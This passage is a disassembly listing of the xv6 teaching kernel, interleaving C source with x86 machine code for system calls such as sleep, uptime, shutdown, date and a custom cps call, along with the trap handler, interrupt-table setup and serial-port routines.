e8 f2 e1 ff ff call 801037e0 <myproc> if(growproc(n) < 0) 801055ee: 83 ec 0c sub $0xc,%esp addr = myproc()->sz; 801055f1: 8b 18 mov (%eax),%ebx if(growproc(n) < 0) 801055f3: ff 75 f4 pushl -0xc(%ebp) 801055f6: e8 05 e3 ff ff call 80103900 <growproc> 801055fb: 83 c4 10 add $0x10,%esp 801055fe: 85 c0 test %eax,%eax 80105600: 78 0e js 80105610 <sys_sbrk+0x40> return -1; return addr; } 80105602: 89 d8 mov %ebx,%eax 80105604: 8b 5d fc mov -0x4(%ebp),%ebx 80105607: c9 leave 80105608: c3 ret 80105609: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return -1; 80105610: bb ff ff ff ff mov $0xffffffff,%ebx 80105615: eb eb jmp 80105602 <sys_sbrk+0x32> 80105617: 89 f6 mov %esi,%esi 80105619: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105620 <sys_sleep>: int sys_sleep(void) { 80105620: 55 push %ebp 80105621: 89 e5 mov %esp,%ebp 80105623: 53 push %ebx int n; uint ticks0; if(argint(0, &n) < 0) 80105624: 8d 45 f4 lea -0xc(%ebp),%eax { 80105627: 83 ec 1c sub $0x1c,%esp if(argint(0, &n) < 0) 8010562a: 50 push %eax 8010562b: 6a 00 push $0x0 8010562d: e8 ee f1 ff ff call 80104820 <argint> 80105632: 83 c4 10 add $0x10,%esp 80105635: 85 c0 test %eax,%eax 80105637: 0f 88 8a 00 00 00 js 801056c7 <sys_sleep+0xa7> return -1; acquire(&tickslock); 8010563d: 83 ec 0c sub $0xc,%esp 80105640: 68 60 4c 11 80 push $0x80114c60 80105645: e8 c6 ed ff ff call 80104410 <acquire> ticks0 = ticks; while(ticks - ticks0 < n){ 8010564a: 8b 55 f4 mov -0xc(%ebp),%edx 8010564d: 83 c4 10 add $0x10,%esp ticks0 = ticks; 80105650: 8b 1d a0 54 11 80 mov 0x801154a0,%ebx while(ticks - ticks0 < n){ 80105656: 85 d2 test %edx,%edx 80105658: 75 27 jne 80105681 <sys_sleep+0x61> 8010565a: eb 54 jmp 801056b0 <sys_sleep+0x90> 8010565c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(myproc()->killed){ release(&tickslock); return -1; } sleep(&ticks, &tickslock); 80105660: 83 ec 08 sub $0x8,%esp 80105663: 68 60 4c 11 80 push $0x80114c60 80105668: 68 a0 54 11 80 push $0x801154a0 8010566d: e8 0e e7 ff ff call 80103d80 <sleep> while(ticks - ticks0 < n){ 80105672: a1 a0 54 11 80 mov 0x801154a0,%eax 80105677: 83 c4 10 add $0x10,%esp 8010567a: 29 d8 sub %ebx,%eax 8010567c: 3b 45 f4 cmp -0xc(%ebp),%eax 8010567f: 73 2f jae 801056b0 <sys_sleep+0x90> if(myproc()->killed){ 80105681: e8 5a e1 ff ff call 801037e0 <myproc> 80105686: 8b 40 24 mov 0x24(%eax),%eax 80105689: 85 c0 test %eax,%eax 8010568b: 74 d3 je 80105660 <sys_sleep+0x40> release(&tickslock); 8010568d: 83 ec 0c sub $0xc,%esp 80105690: 68 60 4c 11 80 push $0x80114c60 80105695: e8 36 ee ff ff call 801044d0 <release> return -1; 8010569a: 83 c4 10 add $0x10,%esp 8010569d: b8 ff ff ff ff mov $0xffffffff,%eax } release(&tickslock); return 0; } 801056a2: 8b 5d fc mov -0x4(%ebp),%ebx 801056a5: c9 leave 801056a6: c3 ret 801056a7: 89 f6 mov %esi,%esi 801056a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi release(&tickslock); 801056b0: 83 ec 0c sub $0xc,%esp 801056b3: 68 60 4c 11 80 push $0x80114c60 801056b8: e8 13 ee ff ff call 801044d0 <release> return 0; 801056bd: 83 c4 10 add $0x10,%esp 801056c0: 31 c0 xor %eax,%eax } 801056c2: 8b 5d fc mov -0x4(%ebp),%ebx 801056c5: c9 leave 801056c6: c3 ret return -1; 801056c7: b8 ff ff ff ff mov $0xffffffff,%eax 801056cc: eb f4 jmp 801056c2 <sys_sleep+0xa2> 801056ce: 66 90 xchg %ax,%ax 801056d0 <sys_uptime>: // return how many clock tick interrupts have occurred // since start. int sys_uptime(void) { 801056d0: 55 push %ebp 801056d1: 89 e5 mov %esp,%ebp 801056d3: 53 push %ebx 801056d4: 83 ec 10 sub $0x10,%esp uint xticks; acquire(&tickslock); 801056d7: 68 60 4c 11 80 push $0x80114c60 801056dc: e8 2f ed ff ff call 80104410 <acquire> xticks = ticks; 801056e1: 8b 1d a0 54 11 80 mov 0x801154a0,%ebx release(&tickslock); 801056e7: c7 04 24 60 4c 11 80 movl $0x80114c60,(%esp) 801056ee: e8 dd ed ff ff call 801044d0 <release> return xticks; } 801056f3: 89 d8 mov %ebx,%eax 801056f5: 8b 5d fc mov -0x4(%ebp),%ebx 801056f8: c9 leave 801056f9: c3 ret 801056fa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80105700 <sys_shutdown>: int sys_shutdown(void) { 80105700: 55 push %ebp asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80105701: b8 00 20 00 00 mov $0x2000,%eax 80105706: ba 04 b0 ff ff mov $0xffffb004,%edx 8010570b: 89 e5 mov %esp,%ebp 8010570d: 66 ef out %ax,(%dx) 8010570f: ba 04 06 00 00 mov $0x604,%edx 80105714: 66 ef out %ax,(%dx) outw(0xB004, 0x0|0x2000); outw(0x604, 0x0|0x2000); return 0; } 80105716: 31 c0 xor %eax,%eax 80105718: 5d pop %ebp 80105719: c3 ret 8010571a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80105720 <sys_date>: int sys_date(void) { 80105720: 55 push %ebp 80105721: 89 e5 mov %esp,%ebp 80105723: 83 ec 1c sub $0x1c,%esp struct rtcdate *r; if(argptr(0, (void*)&r, sizeof(r)) < 0) 80105726: 8d 45 f4 lea -0xc(%ebp),%eax 80105729: 6a 04 push $0x4 8010572b: 50 push %eax 8010572c: 6a 00 push $0x0 8010572e: e8 3d f1 ff ff call 80104870 <argptr> 80105733: 83 c4 10 add $0x10,%esp 80105736: 85 c0 test %eax,%eax 80105738: 78 16 js 80105750 <sys_date+0x30> return -1; cmostime(r); 8010573a: 83 ec 0c sub $0xc,%esp 8010573d: ff 75 f4 pushl -0xc(%ebp) 80105740: e8 cb d0 ff ff call 80102810 <cmostime> return 0; 80105745: 83 c4 10 add $0x10,%esp 80105748: 31 c0 xor %eax,%eax } 8010574a: c9 leave 8010574b: c3 ret 8010574c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; 80105750: b8 ff ff ff ff mov $0xffffffff,%eax } 80105755: c9 leave 80105756: c3 ret 80105757: 89 f6 mov %esi,%esi 80105759: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105760 <sys_cps>: int sys_cps ( void ) { 80105760: 55 push %ebp 80105761: 89 e5 mov %esp,%ebp return cps(); } 80105763: 5d pop %ebp return cps(); 80105764: e9 67 e9 ff ff jmp 801040d0 <cps> 80105769 <alltraps>: # vectors.S sends all traps here. .globl alltraps alltraps: # Build trap frame. pushl %ds 80105769: 1e push %ds pushl %es 8010576a: 06 push %es pushl %fs 8010576b: 0f a0 push %fs pushl %gs 8010576d: 0f a8 push %gs pushal 8010576f: 60 pusha # Set up data segments. movw $(SEG_KDATA<<3), %ax 80105770: 66 b8 10 00 mov $0x10,%ax movw %ax, %ds 80105774: 8e d8 mov %eax,%ds movw %ax, %es 80105776: 8e c0 mov %eax,%es # Call trap(tf), where tf=%esp pushl %esp 80105778: 54 push %esp call trap 80105779: e8 c2 00 00 00 call 80105840 <trap> addl $4, %esp 8010577e: 83 c4 04 add $0x4,%esp 80105781 <trapret>: # Return falls through to trapret... .globl trapret trapret: popal 80105781: 61 popa popl %gs 80105782: 0f a9 pop %gs popl %fs 80105784: 0f a1 pop %fs popl %es 80105786: 07 pop %es popl %ds 80105787: 1f pop %ds addl $0x8, %esp # trapno and errcode 80105788: 83 c4 08 add $0x8,%esp iret 8010578b: cf iret 8010578c: 66 90 xchg %ax,%ax 8010578e: 66 90 xchg %ax,%ax 80105790 <tvinit>: struct spinlock tickslock; uint ticks; void tvinit(void) { 80105790: 55 push %ebp int i; for(i = 0; i < 256; i++) 80105791: 31 c0 xor %eax,%eax { 80105793: 89 e5 mov %esp,%ebp 80105795: 83 ec 08 sub $0x8,%esp 80105798: 90 nop 80105799: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0); 801057a0: 8b 14 85 08 a0 10 80 mov -0x7fef5ff8(,%eax,4),%edx 801057a7: c7 04 c5 a2 4c 11 80 movl $0x8e000008,-0x7feeb35e(,%eax,8) 801057ae: 08 00 00 8e 801057b2: 66 89 14 c5 a0 4c 11 mov %dx,-0x7feeb360(,%eax,8) 801057b9: 80 801057ba: c1 ea 10 shr $0x10,%edx 801057bd: 66 89 14 c5 a6 4c 11 mov %dx,-0x7feeb35a(,%eax,8) 801057c4: 80 for(i = 0; i < 256; i++) 801057c5: 83 c0 01 add $0x1,%eax 801057c8: 3d 00 01 00 00 cmp $0x100,%eax 801057cd: 75 d1 jne 801057a0 <tvinit+0x10> SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER); 801057cf: a1 08 a1 10 80 mov 0x8010a108,%eax initlock(&tickslock, "time"); 801057d4: 83 ec 08 sub $0x8,%esp SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER); 801057d7: c7 05 a2 4e 11 80 08 movl $0xef000008,0x80114ea2 801057de: 00 00 ef initlock(&tickslock, "time"); 801057e1: 68 05 78 10 80 push $0x80107805 801057e6: 68 60 4c 11 80 push $0x80114c60 SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER); 801057eb: 66 a3 a0 4e 11 80 mov %ax,0x80114ea0 801057f1: c1 e8 10 shr $0x10,%eax 801057f4: 66 a3 a6 4e 11 80 mov %ax,0x80114ea6 initlock(&tickslock, "time"); 801057fa: e8 d1 ea ff ff call 801042d0 <initlock> } 801057ff: 83 c4 10 add $0x10,%esp 80105802: c9 leave 80105803: c3 ret 80105804: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 8010580a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80105810 <idtinit>: void idtinit(void) { 80105810: 55 push %ebp pd[0] = size-1; 80105811: b8 ff 07 00 00 mov $0x7ff,%eax 80105816: 89 e5 mov %esp,%ebp 80105818: 83 ec 10 sub $0x10,%esp 8010581b: 66 89 45 fa mov %ax,-0x6(%ebp) pd[1] = (uint)p; 8010581f: b8 a0 4c 11 80 mov $0x80114ca0,%eax 80105824: 66 89 45 fc mov %ax,-0x4(%ebp) pd[2] = (uint)p >> 16; 80105828: c1 e8 10 shr $0x10,%eax 8010582b: 66 89 45 fe mov %ax,-0x2(%ebp) asm volatile("lidt (%0)" : : "r" (pd)); 8010582f: 8d 45 fa lea -0x6(%ebp),%eax 80105832: 0f 01 18 lidtl (%eax) lidt(idt, sizeof(idt)); } 80105835: c9 leave 80105836: c3 ret 80105837: 89 f6 mov %esi,%esi 80105839: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105840 <trap>: //PAGEBREAK: 41 void trap(struct trapframe *tf) { 80105840: 55 push %ebp 80105841: 89 e5 mov %esp,%ebp 80105843: 57 push %edi 80105844: 56 push %esi 80105845: 53 push %ebx 80105846: 83 ec 1c sub $0x1c,%esp 80105849: 8b 7d 08 mov 0x8(%ebp),%edi if(tf->trapno == T_SYSCALL){ 8010584c: 8b 47 30 mov 0x30(%edi),%eax 8010584f: 83 f8 40 cmp $0x40,%eax 80105852: 0f 84 f0 00 00 00 je 80105948 <trap+0x108> if(myproc()->killed) exit(); return; } switch(tf->trapno){ 80105858: 83 e8 20 sub $0x20,%eax 8010585b: 83 f8 1f cmp $0x1f,%eax 8010585e: 77 10 ja 80105870 <trap+0x30> 80105860: ff 24 85 ac 78 10 80 jmp *-0x7fef8754(,%eax,4) 80105867: 89 f6 mov %esi,%esi 80105869: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi lapiceoi(); break; //PAGEBREAK: 13 default: if(myproc() == 0 || (tf->cs&3) == 0){ 80105870: e8 6b df ff ff call 801037e0 <myproc> 80105875: 85 c0 test %eax,%eax 80105877: 8b 5f 38 mov 0x38(%edi),%ebx 8010587a: 0f 84 14 02 00 00 je 80105a94 <trap+0x254> 80105880: f6 47 3c 03 testb $0x3,0x3c(%edi) 80105884: 0f 84 0a 02 00 00 je 80105a94 <trap+0x254> static inline uint rcr2(void) { uint val; asm volatile("movl %%cr2,%0" : "=r" (val)); 8010588a: 0f 20 d1 mov %cr2,%ecx 8010588d: 89 4d d8 mov %ecx,-0x28(%ebp) cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n", tf->trapno, cpuid(), tf->eip, rcr2()); panic("trap"); } // In user space, assume process misbehaved. cprintf("pid %d %s: trap %d err %d on cpu %d " 80105890: e8 2b df ff ff call 801037c0 <cpuid> 80105895: 89 45 dc mov %eax,-0x24(%ebp) 80105898: 8b 47 34 mov 0x34(%edi),%eax 8010589b: 8b 77 30 mov 0x30(%edi),%esi 8010589e: 89 45 e4 mov %eax,-0x1c(%ebp) "eip 0x%x addr 0x%x--kill proc\n", myproc()->pid, myproc()->name, tf->trapno, 801058a1: e8 3a df ff ff call 801037e0 <myproc> 801058a6: 89 45 e0 mov %eax,-0x20(%ebp) 801058a9: e8 32 df ff ff call 801037e0 <myproc> cprintf("pid %d %s: trap %d err %d on cpu %d " 801058ae: 8b 4d d8 mov -0x28(%ebp),%ecx 801058b1: 8b 55 dc mov -0x24(%ebp),%edx 801058b4: 51 push %ecx 801058b5: 53 push %ebx 801058b6: 52 push %edx myproc()->pid, myproc()->name, tf->trapno, 801058b7: 8b 55 e0 mov -0x20(%ebp),%edx cprintf("pid %d %s: trap %d err %d on cpu %d " 801058ba: ff 75 e4 pushl -0x1c(%ebp) 801058bd: 56 push %esi myproc()->pid, myproc()->name, tf->trapno, 801058be: 83 c2 6c add $0x6c,%edx cprintf("pid %d %s: trap %d err %d on cpu %d " 801058c1: 52 push %edx 801058c2: ff 70 10 pushl 0x10(%eax) 801058c5: 68 68 78 10 80 push $0x80107868 801058ca: e8 91 ad ff ff call 80100660 <cprintf> tf->err, cpuid(), tf->eip, rcr2()); myproc()->killed = 1; 801058cf: 83 c4 20 add $0x20,%esp 801058d2: e8 09 df ff ff call 801037e0 <myproc> 801058d7: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax) } // Force process exit if it has been killed and is in user space. // (If it is still executing in the kernel, let it keep running // until it gets to the regular system call return.) if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) 801058de: e8 fd de ff ff call 801037e0 <myproc> 801058e3: 85 c0 test %eax,%eax 801058e5: 74 1d je 80105904 <trap+0xc4> 801058e7: e8 f4 de ff ff call 801037e0 <myproc> 801058ec: 8b 50 24 mov 0x24(%eax),%edx 801058ef: 85 d2 test %edx,%edx 801058f1: 74 11 je 80105904 <trap+0xc4> 801058f3: 0f b7 47 3c movzwl 0x3c(%edi),%eax 801058f7: 83 e0 03 and $0x3,%eax 801058fa: 66 83 f8 03 cmp $0x3,%ax 801058fe: 0f 84 4c 01 00 00 je 80105a50 <trap+0x210> exit(); // Force process to give up CPU on clock tick. // If interrupts were on while locks held, would need to check nlock. if(myproc() && myproc()->state == RUNNING && 80105904: e8 d7 de ff ff call 801037e0 <myproc> 80105909: 85 c0 test %eax,%eax 8010590b: 74 0b je 80105918 <trap+0xd8> 8010590d: e8 ce de ff ff call 801037e0 <myproc> 80105912: 83 78 0c 04 cmpl $0x4,0xc(%eax) 80105916: 74 68 je 80105980 <trap+0x140> tf->trapno == T_IRQ0+IRQ_TIMER) yield(); // Check if the process has been killed since we yielded if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) 80105918: e8 c3 de ff ff call 801037e0 <myproc> 8010591d: 85 c0 test %eax,%eax 8010591f: 74 19 je 8010593a <trap+0xfa> 80105921: e8 ba de ff ff call 801037e0 <myproc> 80105926: 8b 40 24 mov 0x24(%eax),%eax 80105929: 85 c0 test %eax,%eax 8010592b: 74 0d je 8010593a <trap+0xfa> 8010592d: 0f b7 47 3c movzwl 0x3c(%edi),%eax 80105931: 83 e0 03 and $0x3,%eax 80105934: 66 83 f8 03 cmp $0x3,%ax 80105938: 74 37 je 80105971 <trap+0x131> exit(); } 8010593a: 8d 65 f4 lea -0xc(%ebp),%esp 8010593d: 5b pop %ebx 8010593e: 5e pop %esi 8010593f: 5f pop %edi 80105940: 5d pop %ebp 80105941: c3 ret 80105942: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(myproc()->killed) 80105948: e8 93 de ff ff call 801037e0 <myproc> 8010594d: 8b 58 24 mov 0x24(%eax),%ebx 80105950: 85 db test %ebx,%ebx 80105952: 0f 85 e8 00 00 00 jne 80105a40 <trap+0x200> myproc()->tf = tf; 80105958: e8 83 de ff ff call 801037e0 <myproc> 8010595d: 89 78 18 mov %edi,0x18(%eax) syscall(); 80105960: e8 ab ef ff ff call 80104910 <syscall> if(myproc()->killed) 80105965: e8 76 de ff ff call 801037e0 <myproc> 8010596a: 8b 48 24 mov 0x24(%eax),%ecx 8010596d: 85 c9 test %ecx,%ecx 8010596f: 74 c9 je 8010593a <trap+0xfa> } 80105971: 8d 65 f4 lea -0xc(%ebp),%esp 80105974: 5b pop %ebx 80105975: 5e pop %esi 80105976: 5f pop %edi 80105977: 5d pop %ebp exit(); 80105978: e9 83 e2 ff ff jmp 80103c00 <exit> 8010597d: 8d 76 00 lea 0x0(%esi),%esi if(myproc() && myproc()->state == RUNNING && 80105980: 83 7f 30 20 cmpl $0x20,0x30(%edi) 80105984: 75 92 jne 80105918 <trap+0xd8> yield(); 80105986: e8 a5 e3 ff ff call 80103d30 <yield> 8010598b: eb 8b jmp 80105918 <trap+0xd8> 8010598d: 8d 76 00 lea 0x0(%esi),%esi if(cpuid() == 0){ 80105990: e8 2b de ff ff call 801037c0 <cpuid> 80105995: 85 c0 test %eax,%eax 80105997: 0f 84 c3 00 00 00 je 80105a60 <trap+0x220> lapiceoi(); 8010599d: e8 ae cd ff ff call 80102750 <lapiceoi> if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) 801059a2: e8 39 de ff ff call 801037e0 <myproc> 801059a7: 85 c0 test %eax,%eax 801059a9: 0f 85 38 ff ff ff jne 801058e7 <trap+0xa7> 801059af: e9 50 ff ff ff jmp 80105904 <trap+0xc4> 801059b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi kbdintr(); 801059b8: e8 53 cc ff ff call 80102610 <kbdintr> lapiceoi(); 801059bd: e8 8e cd ff ff call 80102750 <lapiceoi> if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) 801059c2: e8 19 de ff ff call 801037e0 <myproc> 801059c7: 85 c0 test %eax,%eax 801059c9: 0f 85 18 ff ff ff jne 801058e7 <trap+0xa7> 801059cf: e9 30 ff ff ff jmp 80105904 <trap+0xc4> 801059d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi uartintr(); 801059d8: e8 53 02 00 00 call 80105c30 <uartintr> lapiceoi(); 801059dd: e8 6e cd ff ff call 80102750 <lapiceoi> if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) 801059e2: e8 f9 dd ff ff call 801037e0 <myproc> 801059e7: 85 c0 test %eax,%eax 801059e9: 0f 85 f8 fe ff ff jne 801058e7 <trap+0xa7> 801059ef: e9 10 ff ff ff jmp 80105904 <trap+0xc4> 801059f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi cprintf("cpu%d: spurious interrupt at %x:%x\n", 801059f8: 0f b7 5f 3c movzwl 0x3c(%edi),%ebx 801059fc: 8b 77 38 mov 0x38(%edi),%esi 801059ff: e8 bc dd ff ff call 801037c0 <cpuid> 80105a04: 56 push %esi 80105a05: 53 push %ebx 80105a06: 50 push %eax 80105a07: 68 10 78 10 80 push $0x80107810 80105a0c: e8 4f ac ff ff call 80100660 <cprintf> lapiceoi(); 80105a11: e8 3a cd ff ff call 80102750 <lapiceoi> break; 80105a16: 83 c4 10 add $0x10,%esp if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) 80105a19: e8 c2 dd ff ff call 801037e0 <myproc> 80105a1e: 85 c0 test %eax,%eax 80105a20: 0f 85 c1 fe ff ff jne 801058e7 <trap+0xa7> 80105a26: e9 d9 fe ff ff jmp 80105904 <trap+0xc4> 80105a2b: 90 nop 80105a2c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi ideintr(); 80105a30: e8 4b c6 ff ff call 80102080 <ideintr> 80105a35: e9 63 ff ff ff jmp 8010599d <trap+0x15d> 80105a3a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi exit(); 80105a40: e8 bb e1 ff ff call 80103c00 <exit> 80105a45: e9 0e ff ff ff jmp 80105958 <trap+0x118> 80105a4a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi exit(); 80105a50: e8 ab e1 ff ff call 80103c00 <exit> 80105a55: e9 aa fe ff ff jmp 80105904 <trap+0xc4> 80105a5a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi acquire(&tickslock); 80105a60: 83 ec 0c sub $0xc,%esp 80105a63: 68 60 4c 11 80 push $0x80114c60 80105a68: e8 a3 e9 ff ff call 80104410 <acquire> wakeup(&ticks); 80105a6d: c7 04 24 a0 54 11 80 movl $0x801154a0,(%esp) ticks++; 80105a74: 83 05 a0 54 11 80 01 addl $0x1,0x801154a0 wakeup(&ticks); 80105a7b: e8 b0 e4 ff ff call 80103f30 <wakeup> release(&tickslock); 80105a80: c7 04 24 60 4c 11 80 movl $0x80114c60,(%esp) 80105a87: e8 44 ea ff ff call 801044d0 <release> 80105a8c: 83 c4 10 add $0x10,%esp 80105a8f: e9 09 ff ff ff jmp 8010599d <trap+0x15d> 80105a94: 0f 20 d6 mov %cr2,%esi cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n", 80105a97: e8 24 dd ff ff call 801037c0 <cpuid> 80105a9c: 83 ec 0c sub $0xc,%esp 80105a9f: 56 push %esi 80105aa0: 53 push %ebx 80105aa1: 50 push %eax 80105aa2: ff 77 30 pushl 0x30(%edi) 80105aa5: 68 34 78 10 80 push $0x80107834 80105aaa: e8 b1 ab ff ff call 80100660 <cprintf> panic("trap"); 80105aaf: 83 c4 14 add $0x14,%esp 80105ab2: 68 0a 78 10 80 push $0x8010780a 80105ab7: e8 d4 a8 ff ff call 80100390 <panic> 80105abc: 66 90 xchg %ax,%ax 80105abe: 66 90 xchg %ax,%ax 80105ac0 <uartgetc>: } static int uartgetc(void) { if(!uart) 80105ac0: a1 bc a5 10 80 mov 0x8010a5bc,%eax { 80105ac5: 55 push %ebp 80105ac6: 89 e5 mov %esp,%ebp if(!uart) 80105ac8: 85 c0 test %eax,%eax 80105aca: 74 1c je 80105ae8 <uartgetc+0x28> asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80105acc: ba fd 03 00 00 mov $0x3fd,%edx 80105ad1: ec in (%dx),%al return -1; if(!(inb(COM1+5) & 0x01)) 80105ad2: a8 01 test $0x1,%al 80105ad4: 74 12 je 80105ae8 <uartgetc+0x28> 80105ad6: ba f8 03 00 00 mov $0x3f8,%edx 80105adb: ec in (%dx),%al return -1; return inb(COM1+0); 80105adc: 0f b6 c0 movzbl %al,%eax } 80105adf: 5d pop %ebp 80105ae0: c3 ret 80105ae1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return -1; 80105ae8: b8 ff ff ff ff mov $0xffffffff,%eax } 80105aed: 5d pop %ebp 80105aee: c3 ret 80105aef: 90 nop 80105af0 <uartputc.part.0>: uartputc(int c) 80105af0: 55 push %ebp 80105af1: 89 e5 mov %esp,%ebp 80105af3: 57 push %edi 80105af4: 56 push %esi 80105af5: 53 push %ebx 80105af6: 89 c7 mov %eax,%edi 80105af8: bb 80 00 00 00 mov $0x80,%ebx 80105afd: be fd 03 00 00 mov $0x3fd,%esi 80105b02: 83 ec 0c sub $0xc,%esp 80105b05: eb 1b jmp 80105b22 <uartputc.part.0+0x32> 80105b07: 89 f6 mov %esi,%esi 80105b09: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi microdelay(10); 80105b10: 83 ec 0c sub $0xc,%esp 80105b13: 6a 0a push $0xa 80105b15: e8 56 cc ff ff call 80102770 <microdelay> for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++) 80105b1a: 83 c4 10 add $0x10,%esp 80105b1d: 83 eb 01 sub $0x1,%ebx 80105b20: 74 07 je 80105b29 <uartputc.part.0+0x39> 80105b22: 89 f2 mov %esi,%edx 80105b24: ec in (%dx),%al 80105b25: a8 20 test $0x20,%al 80105b27: 74 e7 je 80105b10 <uartputc.part.0+0x20> asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80105b29: ba f8 03 00 00 mov $0x3f8,%edx 80105b2e: 89 f8 mov %edi,%eax 80105b30: ee out %al,(%dx) } 80105b31: 8d 65 f4 lea -0xc(%ebp),%esp 80105b34: 5b pop %ebx 80105b35: 5e pop %esi 80105b36: 5f pop %edi 80105b37: 5d pop %ebp 80105b38: c3 ret 80105b39: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80105b40 <uartinit>: { 80105b40: 55 push %ebp 80105b41: 31 c9 xor %ecx,%ecx 80105b43: 89 c8 mov %ecx,%eax 80105b45: 89 e5 mov %esp,%ebp 80105b47: 57 push %edi 80105b48: 56 push %esi 80105b49: 53 push %ebx 80105b4a: bb fa 03 00 00 mov $0x3fa,%ebx 80105b4f: 89 da mov %ebx,%edx 80105b51: 83 ec 0c sub $0xc,%esp 80105b54: ee out %al,(%dx) 80105b55: bf fb 03 00 00 mov $0x3fb,%edi 80105b5a: b8 80 ff ff ff mov $0xffffff80,%eax 80105b5f: 89 fa mov %edi,%edx 80105b61: ee out %al,(%dx) 80105b62: b8 0c 00 00 00 mov $0xc,%eax 80105b67: ba f8 03 00 00 mov $0x3f8,%edx 80105b6c: ee out %al,(%dx) 80105b6d: be f9 03 00 00 mov $0x3f9,%esi 80105b72: 89 c8 mov %ecx,%eax 80105b74: 89 f2 mov %esi,%edx 80105b76: ee out %al,(%dx) 80105b77: b8 03 00 00 00 mov $0x3,%eax 80105b7c: 89 fa mov %edi,%edx 80105b7e: ee out %al,(%dx) 80105b7f: ba fc 03 00 00 mov $0x3fc,%edx 80105b84: 89 c8 mov %ecx,%eax 80105b86: ee out %al,(%dx) 80105b87: b8 01 00 00 00 mov $0x1,%eax 80105b8c: 89 f2 mov %esi,%edx 80105b8e: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80105b8f: ba fd 03 00 00 mov $0x3fd,%edx 80105b94: ec in (%dx),%al if(inb(COM1+5) == 0xFF) 80105b95: 3c ff cmp $0xff,%al 80105b97: 74 5a je 80105bf3 <uartinit+0xb3> uart = 1; 80105b99: c7 05 bc a5 10 80 01 movl $0x1,0x8010a5bc 80105ba0: 00 00 00 80105ba3: 89 da mov %ebx,%edx 80105ba5: ec in (%dx),%al 80105ba6: ba f8 03 00 00 mov $0x3f8,%edx 80105bab: ec in (%dx),%al ioapicenable(IRQ_COM1, 0); 80105bac: 83 ec 08 sub $0x8,%esp for(p="xv6...\n"; *p; p++) 80105baf: bb 2c 79 10 80 mov $0x8010792c,%ebx ioapicenable(IRQ_COM1, 0); 80105bb4: 6a 00 push $0x0 80105bb6: 6a 04 push $0x4 80105bb8: e8 13 c7 ff ff call 801022d0 <ioapicenable> 80105bbd: 83 c4 10 add $0x10,%esp for(p="xv6...\n"; *p; p++) 80105bc0: b8 78 00 00 00 mov $0x78,%eax 80105bc5: eb 13 jmp 80105bda <uartinit+0x9a> 80105bc7: 89 f6 mov %esi,%esi 80105bc9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105bd0: 83 c3 01 add $0x1,%ebx 80105bd3: 0f be 03 movsbl (%ebx),%eax 80105bd6: 84 c0 test %al,%al 80105bd8: 74 19 je 80105bf3 <uartinit+0xb3> if(!uart) 80105bda: 8b 15 bc a5 10 80 mov 0x8010a5bc,%edx 80105be0: 85 d2 test %edx,%edx 80105be2: 74 ec je 80105bd0 <uartinit+0x90> for(p="xv6...\n"; *p; p++) 80105be4: 83 c3 01 add $0x1,%ebx 80105be7: e8 04 ff ff ff call 80105af0 <uartputc.part.0> 80105bec: 0f be 03 movsbl (%ebx),%eax 80105bef: 84 c0 test %al,%al 80105bf1: 75 e7 jne 80105bda <uartinit+0x9a> } 80105bf3: 8d 65 f4 lea -0xc(%ebp),%esp 80105bf6: 5b pop %ebx 80105bf7: 5e pop %esi 80105bf8: 5f pop %edi 80105bf9: 5d pop %ebp 80105bfa: c3 ret 80105bfb: 90 nop 80105bfc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80105c00 <uartputc>: if(!uart) 80105c00: 8b 15 bc a5 10 80 mov 0x8010a5bc,%edx { 80105c06: 55 push %ebp 80105c07: 89 e5 mov %esp,%ebp if(!uart) 80105c09: 85 d2 test %edx,%edx { 80105c0b: 8b 45 08 mov 0x8(%ebp),%eax if(!uart) 80105c0e: 74 10 je 80105c20 <uartputc+0x20> } 80105c10: 5d pop %ebp 80105c11: e9 da fe ff ff jmp 80105af0 <uartputc.part.0> 80105c16: 8d 76 00 lea 0x0(%esi),%esi 80105c19: 8d 